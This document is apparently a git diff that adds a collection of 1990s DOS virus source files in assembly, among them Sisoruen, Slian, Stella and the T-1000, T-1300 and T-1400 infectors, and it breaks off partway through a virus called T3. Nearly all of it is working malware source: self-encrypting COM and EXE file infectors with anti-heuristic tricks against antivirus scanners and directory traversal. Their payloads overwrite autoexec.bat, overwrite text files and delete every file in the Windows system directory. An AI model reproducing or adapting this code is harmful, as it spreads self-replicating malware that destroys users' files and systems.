+ pusha + mov di,bx + mov al,0 + mov cx,End_Virus-s ;size of virus + rep stosb ;hide virus to eyes (fill of 0) + popa + popf + retf 2 + + +Int13h proc near + + pushf + call dword ptr cs:[i13] + ret + +Int13h endp + + +Signature db 'Sly I 1998 / VLAD Aim & Policies' +End_Virus: +end s diff --git a/s/sisoruen.asm b/s/sisoruen.asm new file mode 100755 index 0000000..ca6bfad --- /dev/null +++ b/s/sisoruen.asm @@ -0,0 +1,281 @@ +; ------------------------------------------------------------------------- ; +; Sisoruen v1.8 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: `--------------------------------------| Size : 484 bytes ; +; | Type : COM Appender ; +; v1.0 - start with a simple *.com appender | Rate : All to Root ; +; v1.1 - lets do some XOR,NEG,NOT,ROR encryption! | DT : DotDot Style ; +; v1.2 - infect even read only files, restore stamps | Pload: autoexec.bat ; +; v1.3 - add anti-heuristic loop (credits to SPo0ky!) | Encrp: 4 times - ; +; v1.4 - don't infect files too small, or too big | XOR,NEG,NOT,ROR ; +; v1.5 - lets give it a payload, activate sat/sun `-------------------- ; +; v1.6 - optimized a WHOLE lot, and fixed an error that was bugging the ; +; - crap out of me -> Thanks to SPo0ky for pointing out that my 'safe' ; +; - place to store the DTA was getting destroyed by the encryption :) ; +; v1.7 - lets get some directory transversal going, dot dot style ; +; v1.8 - new payload this time, after it has infected all the .com's it can ; +; - get it's hands on, it jumps to c:\ and replaces the first line of ; +; - the "autoexec.bat" file, changing the normal dos prompt (c:\) to ; +; - c:\::Sisoruen::> !warning! -> it replaces the first line, so be ; +; - carefull, some people have important info on that first line hehe ; +; - Oh and it also makes the autoexec.bat read-only and hidden! :) ; +; - Hey, some people don't know how to un-readonly / un-hide a file... ; +; - Slows them down a little hehe ; +; ------------------------------------------------------------------------- ; +; --> This One's For :Mind Warp: Keep Up The Great Work, You Learn Fast! <--; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm sisoruen.asm ; +; to link :::::] tlink /t sisoruen.asm ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment code + assume cs:code,ds:code ; assign cs and ds to code + org 100h ; 100hex .com file + +start: + db 0e9h,0,0 ; define a blank jump to next line + +real_start: + mov cx,0ffffh ; from other anti-heuristics + +anti_one: + jmp anti_two ; jump to anti two + mov ax,4c00h ; terminate program + int 21h ; terminate the program + +anti_two: + loop anti_one ; loop anti_one + call get_delta ; push IP on to stack + +get_delta: + pop bp ; pop it into bp + sub bp,offset get_delta ; get the delta offset + +encrypt: + jmp not_on_first ; don't encrypt 1st run (overwritten) + lea si,[bp+encrypted] ; SI points to encrypted area start + mov di,si ; moves SI into DI + call encryption ; calls the encryption routine + jmp encrypted ; jump to start of encrypted area + +encryption: + lodsb ; load a byte + not al ; encryptin 1 + ror al,4 ; encryptin 2 + neg al ; encryptin 3 + xor al,byte ptr [bp+decrypt] ; encryptin 4 -final- + neg al ; unencrypt 3 + ror al,4 ; unencrypt 2 + not al ; unencrypt 1 + stosb ; store the byte + loop encryption ; do it for all bytes + ret ; return from the call + + decrypt db 0 ; our key value + +encrypted: + lea si,[bp+thrbyte] ; where to put this + mov di,100h ; the starting location + push di ; 1 - push 100h until end + movsb ; move a byte + movsw ; and move a word + lea dx,[bp+offset dta] ; where we want to move the dta + mov ah,1ah ; move the dta + int 21h ; make it so DOS! + +find_next: + mov ah,4eh ; find the first file with + lea dx,[bp+comfile] ; a *.com ending + mov cx,7 ; find even if +srh + +infect_next: + int 21h ; make it so DOS! + jnc infect_file ; found one? infect it! + mov ah,3bh ; change directory + lea dx,[bp+dotdot] ; load up ".." + int 21h ; and change dir now + jnc find_next ; start infecting again + +try_pay: + mov ah,2ah ; get system time + int 21h ; get the time now + cmp al,006h ; is it saturday? + je payload ; it is! I love the weekends + cmp al,00h ; is it sunday? + je payload ; it is! I love payloading weekends + +end_virus: + mov dx,80h ; restore the dta + mov ah,1ah ; restore it now + int 21h ; make it so DOS! + retn ; 1 - return control to host + +payload: + mov ah,0eh ; change drive + mov dl,2 ; to drive c:\ + int 21h ; change it now! + + mov ah,3bh ; change directory + lea dx,[bp+rootdir] ; load up "\" + int 21h ; and change dir now + + mov ah,4eh ; find the first file + lea dx,[bp+autoexe] ; looking for "autoexec.bat" :) + mov cx,3 ; find it even if +rh + int 21h ; find the autoexec.bat! + jc end_virus ; none? end the virus + + lea dx,[bp+offset dta+1eh] ; get the file info + push dx ; 7 - save that info for later + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + int 21h ; make it so DOS! + + mov ax,3d02h ; open the autoexec.bat + int 21h ; open it / get info + xchg bx,ax ; exchange the info + + call point_to_start ; point to start of file + + mov ah,40h ; write to the autoexec.bat + lea dx,[bp+newprmt] ; write this + mov cx,cpend-cpstart ; this much + int 21h ; write it! + + pop dx ; 7 - get the file info + mov ax,4301h ; set file attributes + mov cx,3 ; make it read only / hidden hehe + int 21h ; infect even read only now! + + mov ah,3eh ; close the autoexec.bat + int 21h ; close it now bitch! + jmp end_virus ; jump to ending the virus + +infect_file: + lea dx,[bp+offset dta+1eh] ; get the file info + push dx ; 2 - save it again for in a minute + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + int 21h ; infect even read only now! + + mov ax,3d02h ; open the file read/write + pop dx ; 2 - use that info again! + int 21h ; make it so DOS! + xchg bx,ax ; move the file info + + mov ax,5700h ; get the time / date + int 21h ; make it so DOS! + push dx ; 3 - save the value + push cx ; 4 - save this value too + + mov ah,3fh ; read / record function + lea dx,[bp+thrbyte] ; where to write to + mov cx,3 ; how much to write + int 21h ; make it so DOS! + + mov ax,word ptr [bp+dta+1ah] ; get the file size into ax + mov cx,word ptr [bp+thrbyte+1] ; get those recorded bytes + add cx,finished-real_start+3 ; get virus + jump size + cmp ax,cx ; compare the two + jz close_file ; if equal close up + cmp ax,61440 ; > then 61440 bytes? + ja close_file ; too big, close it + cmp ax,1000 ; < then 1000 bytes? + jb close_file ; too big, close it + + sub ax,3 ; get the jump size + mov word ptr [bp+newjump+1],ax ; and write the jump + + call point_to_start ; point to start of file + + mov ah,40h ; write to file + mov cx,3 ; how much info? three bytes + lea dx,[bp+newjump] ; where the info starts + int 21h ; make it so DOS! + + mov ax,4202h ; point to end of file + xor cx,cx ; cx to 0 + cwd ; likewize for DX + int 21h ; make it so DOS + + in al,40h ; get random value from clock + mov byte ptr [bp+decrypt],al ; save that value as our key + + mov ah,40h ; write to file + lea dx,[bp+real_start] ; this is where we start + mov cx,encrypted-real_start ; write this much + int 21h ; write those bytes man! + + lea di,[bp+finished] ; DI points to encrypted area end + push di ; 5 - save value for later + lea si,[bp+encrypted] ; SI points to encrypted area star + mov cx,finished-encrypted ; total # of bytes to encrypt + push cx ; 6 - save that for next routine + call encryption ; encrypt them now + + mov ah,40h ; write to file + pop cx ; 6 - mov cx,finished-encrypted + pop dx ; 5 - lea dx,[bp+finished] + int 21h ; make it so DOS! + +close_file: + mov ax,5701h ; restore time / date + pop cx ; 4 - restore from this value + pop dx ; 3 - restore from this one too + int 21h ; go for it! + + mov ah,3eh ; close up the file + int 21h ; make it so DOS! + + mov ah,4fh ; find next file + jmp infect_next ; and do it again + +; ------------------------> Remote Calling Procedures <-------------------- ; +; ------------------------------------------------------------------------- ; + +point_to_start: + mov ax,4200h ; point to start of file + xor cx,cx ; cx to 0 + cwd ; likewize for DX + int 21h ; and point to the start + ret ; return from call + +; -------------------------------> Data Area <----------------------------- ; +; ------------------------------------------------------------------------- ; + + cpstart: + newprmt db 'prompt $p$f::Sisoruen::$g',0 + db '',10,13,'$' + cpend: + + dotdot db "..",0 ; define the .. string + rootdir db "\",0 ; define the \ string + autoexe db "autoexec.b*",0 ; look for autoexec.bat + comfile db "*.c*",0 ; define *.com string + thrbyte db 0cdh,20h,0 ; terminates on first run + newjump db 0e9h,0,0 ; a blank jump at first + dta db 42 dup (?) ; set up space for dta + finished label near ; an offset label + +; ----------> Temporary Storage Area (Not Saved / Not Encrypted) <--------- ; +; ------------------------------------------------------------------------- ; + +not_on_first: + lea di,[bp+encrypt] ; load DI with start address + lea si,[bp+newbytes] ; load SI with the new bytes + movsw ; move 2 bytes + movsb ; move 1 byte + jmp encrypted ; jump to start of encrypted area + +newbytes: + mov cx,finished-encrypted ; overwrite the jmp with this line + +; ---------------------------> It's All Over <----------------------------- ; +; ------------------------------------------------------------------------- ; + + code ends ; end code segment + end start ; end / where to start + +; ------------------------------------------------------------------------- ; +; ----------> How Can You Think Freely In The Shadow Of A Church <--------- ; +; ------------------------------------------------------------------------- ; diff --git a/s/slian.asm b/s/slian.asm new file mode 100755 index 0000000..e50be9a --- /dev/null +++ b/s/slian.asm @@ -0,0 +1,277 @@ +; ------------------------------------------------------------------------- ; +; Slian v2.0 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: ; +; ; +; v1.0 - start with *.com appender - great tutorials Horny Toad! CB #1,2,3 ; +; v1.1 - add a anti-heuristic loop - Ars0nic's article in Codebreakers #3 ; +; v1.2 - add no bigger, no smaller - Opic's Virus-Addons article in CB #3 ; +; v1.3 - add directory transversal - thankz to SPo0ky / Opic for this :) ; +; v1.4 - add date activated p-load - Opic's Virus-Addons article in CB #3 ; +; v1.5 - add *.txt file overwriter - great tutorials Horny Toad! CB #1,2,3 ; +; v1.6 - optimize my code a little - thanks Opic :) ; +; v1.7 - add anti-heuristic tricks - Ars0nic's article in Codebreakers #3 ; +; v1.8 - add appending of any file - Sea4's Nautilus Virus ; +; v1.9 - add overwrite of any file - thanks again Sea4 hehe ; +; v2.0 - add date/time restoration - thankz again Opic man :) ; +; ------------------------------------------------------------------------- ; +; -----------> Dedicated to Christine Moore, I'll be back soon! <---------- ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm slian.asm ; +; to link :::::] tlink /t slian.obj ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment "code" + assume cs:code,ds:code ; assign cs and ds to code + org 100h ; a .com file + +start: + db 0e9h,0,0 ; define a blank jump + +real_start: + mov cx,0ffffh ; from other anti-heuristics + +anti_one: + jmp anti_two ; jump to anti two + mov ax,4c00h ; terminate program + call do_it ; make it so DOS! + +anti_two: + loop anti_one ; loop anti_one + +;call_delta: + call get_delta ; push IP on to stack + +get_delta: + pop bp ; pop it into bp + sub bp,offset get_delta ; get the delta offset + +;first_three: + mov cx,3 ; counter set to three + lea si,[bp+offset thrbyte] ; where to write them + mov di,100h ; start address + push di ; save it for retn + rep movsb ; do until cx = 0 + +;move_dta: + lea dx,[bp+offset dta] ; where to move it + mov ah,1ah ; move the dta + call do_it ; make it so DOS! + +get_one: + mov ah,4eh ; find first file + lea dx,[bp+comfile] ; load *.com + mov cx,7 ; all attributes + +next: + call do_it ; make it so DOS! + jnc open_file ; found one? open it + jmp find_txt ; no .com left? .txt now + +next_dir: + lea dx,[bp+dot_dot] ; load effective address .. + mov ah,3bh ; directory changing + call do_it ; make it so DOS! + jnc get_one ; and find first again + jmp pld_chk ; hit root, payload time? + +open_file: + lea dx,[bp+dta+1eh] ; filename in DTA + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + call do_it ; make it so DOS! + + mov ax,3d02h ; open the file read/write + lea dx,[bp+offset dta+1eh] ; get the file name info + call do_it ; make it so DOS! + xchg ax,bx ; move the file info + + mov ax,5700h ; get time/date stamps + call do_it ; make it so DOS! + mov [bp+time_cm],dx ; save the values here + mov [bp+date_cm],cx ; save the values here + +;record_three: + mov ah,3fh ; the read / record function + lea dx,[bp+thrbyte] ; where to record too + mov cx,3 ; how much to record + call do_it ; make it so DOS! + +;file_check: + mov ax,word ptr [bp+dta+1ah] ; get file size + mov cx,word ptr [bp+thrbyte+1] ; get three bytes + add cx,finished-real_start+3 ; get virus and jump size + cmp ax,cx ; compare the two + jz close_file ; if equal, close file + +;too_big: + cmp word ptr [bp+dta+1ah],61440 ; > then 61440d bytes? + jna too_small ; not too big, too small? + jmp close_file ; too big, close it up + +too_small: + cmp word ptr [bp+dta+1ah],1024 ; < then 1024d bytes? + jnb new_jump ; not too small, continue + jmp close_file ; too small, close it up + +new_jump: + sub ax,3 ; file size - 3 bytes + mov word ptr [bp+newjump+1],ax ; write as new jump + +;point_to_begin: + mov ax,4200h ; point to start of file + xor cx,cx ; cx to 0 + xor dx,dx ; dx to 0 + call do_it ; make it so DOS! + +;write_jump: + mov ah,40h ; write to file + mov cx,3 ; three bytes + lea dx,[bp+newjump] ; write this + call do_it ; make it so DOS! + +;point_to_end: + mov ax,4202h ; point to end of file + xor cx,cx ; cx to 0 + xor dx,dx ; dx to 0 + call do_it ; make it so DOS! + +;write_body: + mov ah,40h ; write to file + lea dx,[bp+real_start] ; what to write + mov cx,finished-real_start ; how much to write + call do_it ; make it so DOS! + +close_file: + mov ax,5701h ; restore time/date stamps + mov dx,[bp+time_cm] ; from this value + mov cx,[bp+date_cm] ; and this value + call do_it ; make it so DOS! + + mov ah,3eh ; close up the file + call do_it ; make it so DOS! + +;next_file: + mov ah,4fh ; find next file + jmp next ; and jump to next + +find_txt: + mov dx,80h ; move DTA to here + mov ah,1ah ; move the DTA + call do_it ; make it so DOS! + mov ah,4eh ; find first file + xor cx,cx ; cx to 0 + lea dx,txtfile ; load *.txt address + +next_txt: + call do_it ; make it so DOS! + jnc open_txt ; found a .txt? open it + jmp next_dir ; none found? next directory + +open_txt: + mov dx,9eh ; filename in DTA + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + call do_it ; make it so DOS! + + mov ax,3d02h ; all file attributes + mov dx,9eh ; get the file name info + call do_it ; make it so DOS! + xchg bx,ax ; move the file info + + mov ax,5700h ; get time/date stamps + call do_it ; make it so DOS! + mov [bp+time_tx],dx ; save the values here + mov [bp+date_tx],cx ; save the values here + +;infect_txt: + mov ah,40h ; write to file + lea dx,txt_start ; where to start + mov cx,txt_end-txt_start ; how much to write + call do_it ; make it so DOS! + +;close_txt: + mov ax,5701h ; restore time/date stamps + mov dx,[bp+time_tx] ; from this value + mov cx,[bp+date_tx] ; and this value + call do_it ; make it so DOS! + + mov ah,3eh ; close the file + call do_it ; make it so DOS! + +;find_next: + mov ah,4fh ; find next .txt file + jmp next_txt ; and go again + +end_virus: + retn ; return control to host + +pld_chk: + mov ah,2ah ; get system date + call do_it ; make it so DOS! + cmp dh,07 ; is it July? + je day_chk ; yes it is, check day now + jmp end_virus ; nope, end virus + +day_chk: + cmp dl,16 ; is it the 16th? + je payload ; woohoo payload time! + jmp end_virus ; nope, end virus + +payload: + mov ah,09h ; print a message to screen + lea dx,[bp+pld_msg] ; the message + call do_it ; make it so DOS! + mov ah,01h ; start printer + mov dx,0h ; put 0h into dx + int 17h ; printer int + lea si,string1 ; where to start + mov cx,endstring1-string1 ; how much to write + +print_message: + mov ah,00h ; write characters + lodsb ; load a byte + int 17h ; printer int + loop print_message ; loop until done + jmp end_virus ; and end the virus + +do_it: + int 21h ; make it so DOS! + ret ; return from call + +;data_area: + txt_start: + db '',10 + db 'Need you, Dream you',10 + db 'Find you, Taste you',10 + db 'Fuck you, Use you',10 + db 'Scar you, Break you',10 + db 'Lose me, Hate me',10 + db 'Smash me, Erase me',10 + db '',10 + txt_end: + + string1: + pld_msg db '',10,13 + db 'Happy Birthday Christine!',10,13 + db 'Your As Beautiful As Ever',10,13,'$' + endstring1: + + time_cm dw 0h ; .com time stamp goes here + time_tx dw 0h ; .txt time stamp goes here + date_cm dw 0h ; .com date stamp goes here + date_tx dw 0h ; .txt date stamp goes here + dot_dot db "..",0 ; define the .. string + comfile db "*.c*",0 ; define the *.com string + txtfile db "*.tx*",0 ; define the *.txt string + thrbyte db 0cdh,20h,0 ; terminates on first run + newjump db 0e9h,0,0 ; blank jump on first run + finished label near ; an offset label + dta db 42 dup (?) ; set up space for DTA + code ends ; end code segment + end start ; end / where to start + +; ------------------------------------------------------------------------- ; +; ----------> How Can You Think Freely In The Shadow Of A Church <--------- ; +; ------------------------------------------------------------------------- ; + diff --git a/s/stella.asm b/s/stella.asm new file mode 100755 index 0000000..c0eb7f6 --- /dev/null +++ b/s/stella.asm @@ -0,0 +1,188 @@ + + + + +;Stella v1.0 +;coded by Opic [Codebreakers],1998 +;type:overwriting +;encryption:yes, XOR +;anti-AV: yes, anti-heuristics +;directory transversal:yes, dotdot rutine +;restore file date/time stamps:yes +;also does NOT infect command.com +;rate of infection:4 files per run +;stealth:no +;polymorphic:no +;compiled with a86 +;size: zero gen=440 bytes +;detectability:not detected (at the time of release) by F-prot,AVP,or +;Findvirus, although the +;fact that it is a simple overwriting virus pretty much gives it away hehe.. +;payload: yes, on the 4th day of the month a message will be printed to +;the screen, if it is the 4th second on the 4th day of the month +;c:\windows\system directory will be deleted rendering windows unusable +;(although quite fixable and would not damage any personal data)the virus +;also takes the time to change to the windows\system directory. Stella +;also uses a +;new technique of searching .com files (or at least new to me). this is +;basically a novelty virus for which i could hone my skills with, due to its +;numeral relationships, amusing characteristics,payloads ect. Hopfully +;this virus will help those of you new to virus coding, enjoy! + + +start: ;start of virus + mov cx,0ffffh ;loop to kill heuristic scanners +no_av1: + jmp no_av2 + mov ax,4c00h + int 21h +no_av2: + loop no_av1 + +;clears infection counter + mov byte ptr [counter],0 ;clears infection counter + nop ;we want it 440 bytes, 440mhz =A note + ;in case you ever need to know that + lea si,crypt_start ;load crypt_start to si + mov di,si ;mov si to di + mov cx,ende - crypt_start ;put whole part to encrypt in cx + call crypt ;call crypt rutine + jmp crypt_start ;jump to crypt start + +crypt: + lodsb ; + nop ;these help mask the en/decrypt + xor al,byte ptr [xor_value] ; + nop ;rutine i find. + stosb ; + nop ; + loop crypt ; + nop ; + ret ; + + + xor_value db 0 ;decrypt to a value of 0 + +crypt_start: ;start of part to encrypt + + + mov ah,4eh ;find first file +findnext: ;label well need later + + nop + lea dx,filespec ;tells virus what kindo file we want to find + xor cx,cx ;clear cx + int 21h ;do it! + jnc verify ;jump if carry flag isnt set, if it is set + ;then there are no more files so we exit + +;dirT: ;dotdot rutine + lea dx,dotdot ;get dotdot from data offset + mov ah,3bh ;int to change dirs + int 21h ;here we go.... + jnc crypt_start ;yes..... + +;windoze: + mov ah,3bh ;cd to... + lea dx,winspec ;windoze! + int 21h + jnc crypt_start ;and find first + jmp check_payload ;done with doze? lets bring it on home! + +verify: + mov cx, 13d ;max size of file name....sorta + lea si, 9eh ;well i know i stole this from someone ;) +compare: + lodsb ;letter in al + cmp al, "." ;did i make my point? + jne compare ;no? test next letter + inc si ;yes? si tells us 2nd letter + cmp word ptr [si], "MO" ;2nd and 3rd letters give us? c-o-m! + jne next ;no? next file in dir then........ + cmp word ptr [9eh + 2], "MM" ;it isnt command.com is it? + je next ;it is? next please! + +open: ;infection rutine + mov ax,3d02h ;open file for read/write acess + nop + mov dx,9eh ;get file info from DTA + int 21h ;do it + nop + xchg bx,ax ;we need the file handle from ax in bx so....... + mov ax,5700h ;get time/date stamp + int 21h ;now! + push cx ; + push dx ; + in al,40h ;random value fer en/decrypt + mov byte ptr [xor_value],al ;save for xor_value + lea si,crypt_start ;load crypt start + lea di,ende ;and ende + mov cx,ende - crypt_start ;respectivly + call crypt ;call crypt rutine + mov ah,40h ;INFECT!-> write to file + mov cx,crypt_start - start ;infect crypt start thru start + lea dx,start ;and start writing here :) + int 21h ;go for it! + mov ah,40h ;infect 2nd part + mov cx,ende - crypt_start ;write rest of virus 2 file + lea dx,ende ;duh + int 21h ;go! + mov ax,5701h ;restore time/date stamp + pop dx ; + pop cx ; + int 21h ;now! + mov ah,3eh ;close her up + int 21h ;now +;infection counter + inc byte ptr [counter] ;add one to counter + cmp byte ptr [counter],4 ;4 infections? + je check_payload ;we hit ? check pay + + +next: + mov ah,4fh ;find next file + jmp findnext ;jump to findnext + +check_payload: + mov ah,2ah ;get system date + int 21h + cmp dl,4 ;is it the 4th of the month? + jne no_more_files ;no? lets split + mov ah,9h ;Function 09h:print to screen + lea dx,message ;print our message + int 21h ;please! + mov ah,2Ch ;check the time + int 21h + cmp dh,4 ;is it the 4th second of the minute? + nop + jne no_more_files ;no? lets blow this popcorn stand +;the BIG but unlikely payload! + mov ah,3bh ;cd to... + lea dx,winsys ;c:\windows\system + int 21h + mov ah,41h ;delete + lea dx,delete ;delete all files in subdir + int 21h ;dont worry its fixable! + + +no_more_files: ;duh + + ret ;exit + + + +filespec db '*.c*',0 ;what do kind of file we are lookin for +winspec db 'C:\windows\command',0 ;windoze command dir +winsys db 'C:\windows\system',0 ;windows\system dir +dotdot db '..',0 ;change dir all the way to .. (root) +counter db 0 ;our counter +delete db '*.*',0 ;fuck 'em! it must be bad karma +message db 'Which is stronger Man or Chu ',10,13, + db 'locked in endless warfare ',10,13, + db 'fighting over empty names ',10,13, + db 'using up peoples strength',10,13, + db '',10,13, + db 'Stella, coded by Opic [codebreakers],1998',10,13,'$' + +ende: ;thats all she wrote. + diff --git a/t/T-1000.ASM b/t/T-1000.ASM new file mode 100755 index 0000000..a178018 --- /dev/null +++ b/t/T-1000.ASM @@ -0,0 +1,95 @@ +; +; T-1000 Virus +; +; This virus is a Non-Resident Overwriting Self-Encrypting .COM File Inctector. +; When an infected program is started, the virus will infect all files in the +; current directory and use the time counter for its encryption. It displays +; the text "T-1000" when it is ready infecting. + +Code Segment para 'code' + Assume Cs:Code,Ds:Code + +Length Equ Offset EndByte-Offset Main + + Org 100h + +Main: Mov Si,Offset Decrypt + Mov Di,Si + Mov Cl,Offset EndByte-Offset Decrypt +On2: Lodsb + Db 34h +Crypt Db 0 + Stosb + Dec Cl + Cmp Cl,0ffh + Jne On2 + +Decrypt: + Mov Ah,4eh + Push Ax + +Encr: + Mov Ah,2ch + Int 21h + Mov Crypt,Dl + Mov Si,Offset Decrypt + Mov Di,Offset EndByte+10 + Mov Cx,Offset EndByte-Offset Decrypt +On3: Lodsb + Xor Al,Crypt + Stosb + Dec Cx + Cmp Cx,0ffffh + Jne On3 + + Pop Ax +On1: Xor Cx,Cx + Mov Dx,Offset Nam + Int 21h + Jc Einde + + Mov Ax,3d01h + Mov Dx,9eh + Int 21h + Mov Bx,Ax + + Mov Ah,40h + Push Ax + Mov Cx,Offset Decrypt-Offset Main + Mov Dx,Offset Main + Int 21h + + Pop Ax + Mov Cx,Offset EndByte-Offset Decrypt + Mov Dx,Offset EndByte+10 + Int 21h + + Mov Ah,3eh + Int 21h + + Mov Ah,4fh + Push Ax + Jmp Short Encr + +Einde: + Mov Ah,9 + Mov Dx,Offset Msg + Push Cs + Pop Ds + Int 21h + Int 20h + +Msg Db 'T-1000$' + +Nam Db '*.Com',0 + +EndByte Db 0 + +Code Ends + End Main + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/t/T-1300.ASM b/t/T-1300.ASM new file mode 100755 index 0000000..76e1e7f --- /dev/null +++ b/t/T-1300.ASM @@ -0,0 +1,79 @@ +; +; T-1300 Virus +; +; This is a non-resident overwriting self-encrypting semi-mutating .exe file +; infector. When an infected program is run, the virus will infect all the +; file in the current directory and displays "T-1300" when finished with +; infecting. This is a bit more advanced virus than "T-1000" and a wildcard +; scanstring is needed to find this virus. +; +S_1: Lea Si,Main + Mov Cx,MainLen +Length Equ $-2 +Decrypt: Xor B [Si],0 +CryptByte Equ $-1 +S_2 Equ $-2 +S_3: Inc Si +S_4: Loop Decrypt +CryptLen Equ $-S_1 +Main: Mov Ah,4eh +SeekNext: Lea Dx,FileSpec + Xor Cx,Cx + Int 21h + Jc Einde + Mov Ax,3d02h + Mov Dx,09eh + Int 21h + Xchg Ax,Bx + Mov Ds,Cx + Inc Cx + Mov Ah,B Ds:[46ch] + Mov Ds,Cs + Mov B CryptByte,Ah + Test Ah,1 + Jne NoReg + Xor B S_1,Cl + Xor B S_2,Cl + Xor B S_3,Cl +NoReg: Test Ah,2 + Jne NoXor + Xor B Decrypt,2 +NoXor: Test Ah,4 + Jne NoLoop + Xor B S_4,2 +NoLoop: Lea Si,Main + Lea Di,CryptPart + Mov Cx,MainLen + Push Cx +CodeIt: Lodsb + Xor Al,Ah + Stosb + Loop CodeIt + Pop Cx + And Ax,03fffh + Add Cx,Ax + Mov W Length,Cx + Mov Ah,40h + Lea Dx,S_1 + Mov Cx,CryptLen + Int 21h + Mov Ah,40h + Lea Dx,CryptPart + Mov Cx,MainLen + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp SeekNext +Einde: Mov Ah,9 + Lea Dx,Msg + Int 21h + Ret + +FileSpec Db '*.EXE',0 + +Msg Db 'T-1300$' + +MainLen Equ $-Main + +CryptPart Equ $ diff --git a/t/T-1400.ASM b/t/T-1400.ASM new file mode 100755 index 0000000..dd59f90 --- /dev/null +++ b/t/T-1400.ASM @@ -0,0 +1,143 @@ +; +; T-1400 Virus +; +; This is a non-resident overwriting self-encrypting semi-mutating .COM file +; infector. When an infected program is run, the virus will infect all the +; file in the current directory and displays a TridenT logo when finished with +; infecting. This is a bit more advanced virus than "T-1300" and a wildcard +; scanstring is needed to find this virus. It now utilizes three types of +; encryption, instead of only the XOR loop. it now utilizes ADD, ADC, SUB and +; SBB. the increment SI has now a new +; possibility, CMPSB. +; +Beg: + Mov Cx,MainLen +Length Equ $-2 +S_1: Lea Si,Main +Zaken: Clc +Decrypt: Xor B [Si],0 +CryptByte Equ $-1 +S_2 Equ $-2 +S_3: Inc Si +S_4: Loop Zaken +CryptLen Equ $-Beg +Main: Mov Ah,4eh +SeekNext: Lea Dx,FileSpec + Xor Cx,Cx + Int 21h + Jnc Yup + Jmp Einde +Yup: Mov Ax,3d02h + Mov Dx,09eh + Int 21h + Xchg Ax,Bx + Mov Ds,Cx + Inc Cx + Mov Ax,W Ds:[46ch] + + Mov Ds,Cs + Mov B CryptByte,Ah + Mov B Zaken,0f8h + + Mov B What,1 + Mov B S_2,34h + Test Al,1 + Jne NotXor + Test Al,32 + Jne Done + Xor B Zaken,1 + Jmp Done +NotXor: Mov B What,2 + Mov B S_2,04h + Test Al,2 + Je Done + Test Al,4 + Je ItsAdc + Mov B What,3 + Mov B S_2,2ch + Test Al,8 + Je Done + Sub B S_2,20h +ItsAdc: Add B S_2,10h +Done: Mov B S_1,0beh + Cmp Ah,80h + Ja NoCMPSB + Mov B S_3,0A6h + Jmp Next +NoCMPSB: Mov B S_3,46h +Next: Test Ah,1 + Jne NoReg + Xor B S_1,Cl + Xor B S_2,Cl + Cmp Ah,80h + Jbe NoReg + Xor B S_3,Cl +NoReg: Test Ah,2 + Jne NoXor + Xor B Decrypt,2 +NoXor: Test Ah,4 + Jne NoLoop + Xor B S_4,2 +NoLoop: Test Ah,8 + Jne Ok + Mov B S_4,0E2h +Ok: Lea Si,Main + Lea Di,CryptPart + Mov Cx,MainLen + Push Cx +CodeIt: Lodsb + Cmp B What,1 + Jne NeXor + Xor Al,Ah + Jmp Stor +NeXor: Cmp B What,2 + Jne NeSub + Sub Al,Ah + Jmp Stor +NeSub: Add Al,Ah +Stor: Stosb + Loop CodeIt + Pop Cx + And Ax,03fffh + Add Cx,Ax + Mov W Length,Cx + Mov Ah,40h + Lea Dx,Beg + Mov Cx,CryptLen + Int 21h + Mov Ah,40h + Lea Dx,CryptPart + Mov Cx,MainLen + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp SeekNext +What Db 0 +Einde: + Mov Al,3 + Int 10h + Lea Si,Y + R: Lodsb + Mov Cl,8 + C: Rol Al,1 + Push Ax + Mov Al,32 + If C Mov Al,219 + Int 29h + Int 29h + Pop Ax + Loop C + Cmp Si,E + Jne R + Ret + Y: db 125,231,121,244,95,17,18,69,6,68,17,226,69,197,68,17,18,69,4,196,17,23,121,244,68 + E: + +FileSpec Db '*.COM',0 + +Msg Db 'T-1400' + +MainLen Equ $-Main + +CryptPart Equ $ diff --git a/t/T3.ASM b/t/T3.ASM new file mode 100755 index 0000000..b6c0dc6 --- /dev/null +++ b/t/T3.ASM @@ -0,0 +1,361 @@ +;LiquidCode --- T3 +; +; Virus +;This version: +;Searches current directory for non-infected com files, if any found +;it will become infected! +;This virus has a routine which self-destructs itself and uninfects +;the file. + assume cs:code + .286 +code segment "code" + org 0100h +start proc + jmp v_start ;first 5 bytes | + nop ; | + nop ; | +v_start: + call $+3 ;Actual virus + pop dx + sub dx, 3 + push dx ;save relocation factor in BP + pop bp ;so virus can be copied anywhere twoards + mov si, dx ;the end of the file + ; +; Replace first 5 bytes in memory with original +; program code so normal program can run later + add si, first_five + mov di, 0100h + mov cx, 5 + lodsb + stosb + loop $-2 +;see if user want to disinfect this file +; mov si, 82h +; lodsb +; cmp al, "[" ;is al the code to disinfect? "[" +; jne ok_dont_disinfect +; jmp self_kill +ok_dont_disinfect: + ;here should be date checks to see + ;if an evil function should be unleashed!! + mov ah, 2ah + int 21h + ;cx year 1980-2099 + ;dh month 1-12 + ;dl day + ;al day of week 0=sun 1=mon -> 7=sat + cmp dh, 12 + jne notdec + cmp dl, 25 + jne notdec + jmp christmas +notdec: + cmp dh, 4 + jne notapril + cmp dl, 1 + jne notapril +; jmp aprilfools +notapril: + +;Set the DTA + call set_dta + ;find first file to ?infect? + call find_first_file +go_again: + mov si, bp + add si, size_ + lodsw + cmp ax, 5 + ja gd4 + jmp resrch +gd4: + call open_file + mov bx, ax + mov al, 0 + call date_time + mov ah, 3fh + mov cx, 5 + mov dx, bp + add dx, first_five + int 21h +;**** mov ax, 4202h + mov cx, 0 + mov ax, 4202h + mov dx, cx + int 21h + sub ax, 3 + mov si, bp + add si, new_5 + mov [si+1], ax + mov si, bp + mov di, si + add si, chkmark + add di, mark + mov cx, 2 + repe cmpsb + jne INFECT +;File found was previously infected! +; search for new one now. + jmp resrch + 